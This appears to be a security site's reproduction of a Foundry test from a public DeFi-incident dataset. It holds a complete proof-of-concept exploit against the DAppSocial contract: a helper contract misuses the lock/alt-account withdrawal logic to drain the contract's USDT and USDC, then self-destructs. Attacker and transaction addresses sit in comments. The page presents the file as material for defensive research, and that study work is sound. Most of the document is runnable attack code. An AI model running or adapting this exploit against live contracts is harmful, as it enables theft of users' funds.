Public reproduction file

src/test/2023-09/DAppSocial_exp.sol

Public reproduction file for dataset entry DAppSocial.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-09/DAppSocial_exp.sol108 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$16K
8// Attacker : https://etherscan.io/address/0x7d9bc45a9abda926a7ce63f78759dbfa9ed72e26
9// Attack Contract : https://etherscan.io/address/0xe897c0f9443785f8d4f0fa6e92a81066b3fbfee2
10// Helper Attack Contract : https://etherscan.io/address/0xa8c6e7352b13815f6bfa87c7ffaaa6e3a7bfa849
11// Vulnerable Contract : https://etherscan.io/address/0x319ec3ad98cf8b12a8be5719fec6e0a9bb1ad0d1
12// Attack Tx : https://etherscan.io/tx/0xbd72bccec6dd824f8cac5d9a3a2364794c9272d7f7348d074b580e3c6e44312e
13 
14// @Analysis
15// https://twitter.com/DecurityHQ/status/1698064511230464310
16 
17interface IDAppSocial {
18    function depositTokens(address tokenContract, uint256 amount) external;
19 
20    function lockTokens(address altAccount, uint48 length) external;
21 
22    function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external;
23 
24    function withdrawTokensWithAlt(address tokenAddress, address from, uint256 amount) external;
25}
26 
27contract DAppTest is Test {
28    IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
29    IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
30    IDAppSocial private constant DAppSocial = IDAppSocial(0x319Ec3AD98CF8b12a8BE5719FeC6E0a9bb1ad0D1);
31    HelperExploitContract private helperExploitContract;
32 
33    function setUp() public {
34        vm.createSelectFork("mainnet", 18_048_982);
35        vm.label(address(USDT), "USDT");
36        vm.label(address(USDC), "USDC");
37        vm.label(address(DAppSocial), "DAppSocial");
38    }
39 
40    function testExploit() public {
41        deal(address(USDT), address(this), 5e6);
42        deal(address(USDC), address(this), 5e6);
43        helperExploitContract = new HelperExploitContract();
44        USDT.approve(address(DAppSocial), 2e6);
45        USDC.approve(address(DAppSocial), 2e6);
46 
47        emit log_named_decimal_uint("Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 6);
48 
49        emit log_named_decimal_uint(
50            "Attacker USDC balance before exploit", USDC.balanceOf(address(this)), USDC.decimals()
51        );
52 
53        drainToken(address(USDT));
54        drainToken(address(USDC));
55 
56        // Destroy (selfdestruct) helper exploit contract after draining the tokens
57        helperExploitContract.killMe();
58 
59        emit log_named_decimal_uint("Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 6);
60 
61        emit log_named_decimal_uint(
62            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
63        );
64    }
65 
66    function drainToken(
67        address token
68    ) internal {
69        DAppSocial.depositTokens(token, 2e6);
70        helperExploitContract.exploit(token, false);
71        DAppSocial.withdrawTokensWithAlt(token, address(helperExploitContract), 1e6);
72        helperExploitContract.exploit(token, true);
73    }
74 
75    receive() external payable {}
76}
77 
78contract HelperExploitContract {
79    IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
80    IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
81    IDAppSocial private constant DAppSocial = IDAppSocial(0x319Ec3AD98CF8b12a8BE5719FeC6E0a9bb1ad0D1);
82    address payable private immutable owner;
83 
84    constructor() {
85        owner = payable(msg.sender);
86    }
87 
88    // 0x42c59677 exploit function
89    function exploit(address token, bool withdraw) external {
90        require(msg.sender == owner, "Only owner");
91        if (withdraw == true) {
92            if (token == address(USDT)) {
93                DAppSocial.withdrawTokens(address(token), USDT.balanceOf(address(DAppSocial)));
94                USDT.transfer(owner, USDT.balanceOf(address(this)));
95            } else {
96                DAppSocial.withdrawTokens(address(token), USDC.balanceOf(address(DAppSocial)));
97                USDC.transfer(owner, USDC.balanceOf(address(this)));
98            }
99        } else {
100            DAppSocial.lockTokens(owner, 0);
101        }
102    }
103 
104    function killMe() external {
105        require(msg.sender == owner, "Only owner");
106        selfdestruct(owner);
107    }
108}

Analysis

Dataset entry

Public Foundry test for “DAppSocial” (2023-09-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-09/0x0DEX_exp.solSame month in the dataset · 269 lines
src/test/2023-09/APIG_exp.solSame month in the dataset · 105 lines
src/test/2023-09/BFCToken_exp.solSame month in the dataset · 109 lines
src/test/2023-09/CEXISWAP_exp.solSame month in the dataset · 77 lines
src/test/2023-09/DEXRouter_exp.solSame month in the dataset · 55 lines
src/test/2023-09/FireBirdPair_exp.solSame month in the dataset · 141 lines
src/test/2023-09/FloorDAO_exp.solSame month in the dataset · 83 lines
src/test/2023-09/HCT_exp.solSame month in the dataset · 105 lines
src/test/2023-09/HeavensGate_exp.solSame month in the dataset · 97 lines
src/test/2023-09/JumpFarm_exp.solSame month in the dataset · 83 lines
src/test/2023-09/Kub_Split_exp.solSame month in the dataset · 226 lines
src/test/2023-09/QuantumWN_exp.solSame month in the dataset · 73 lines
src/test/2023-09/uniclyNFT_exp.solSame month in the dataset · 126 lines
src/test/2023-09/XSDWETHpool_exp.solSame month in the dataset · 123 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x7d9bc45a9abda926a7ce63f78759dbfa9ed72e26
Attack Contract
0xe897c0f9443785f8d4f0fa6e92a81066b3fbfee2
Vulnerable Contract
0x319ec3ad98cf8b12a8be5719fec6e0a9bb1ad0d1

Attack Tx
0xbd72bccec6dd824f8cac5d9a3a2364794c9272d7f7348d074b580e3c6e44312e

File record

Name: DAppSocial
Path: src/test/2023-09/DAppSocial_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 7bb8f921fa57546004ba5b64bf571d7e3820c3e9
Language: Solidity
Size: 109 lines
Date: 2023-09-02
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-09/DAppSocial_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7bb8f921fa57546004ba5b64bf571d7e3820c3e9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.